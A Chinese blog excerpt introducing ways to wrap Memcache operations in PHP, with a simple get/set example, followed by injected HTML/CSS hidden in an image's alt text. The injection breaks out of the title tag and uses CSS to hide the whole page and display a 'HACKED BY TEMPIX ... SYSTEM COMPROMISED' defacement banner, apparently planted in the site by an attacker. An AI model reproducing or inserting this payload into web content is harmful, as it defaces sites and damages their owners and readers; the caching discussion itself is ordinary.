作为WEB开发者,CACHE对我们来说是再熟悉不过了。但是,你真的有研究如何把它用得更“优雅”吗?下面以较常见的Memcache为例,谈谈对CACHE操作的几种常见封装方法,并推荐一种我认为最佳的实践。如果你有更好的解决方案,请不吝赐教:)
为什么要封装?
$mc = new Memcached();
$mc->addServers('127.0.0.1', 11211);
$key = 'test';
$duration = 3600;
$value = $mc->get($key);
if ($mc->getResultCode() == Memcached::RES_NOTFOUND) {
$value = getValueFromDB();
$mc->set($key, $value, $duration);
}
第一次使用CACHE的同学,往往会写出上面的代码。简陋且有效,拿来写个Hello World是再合适不过了,但是真正在项目中使用CACHE的时候,还这么写就太low了。没有异常处理和重试机制、不能做负载均衡,大量的重复代码……当你受不了维护之繁琐时,就会想办法来解决这些问题,那就是封装。 Continue reading 浅谈对CACHE操作的封装及最佳实践
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)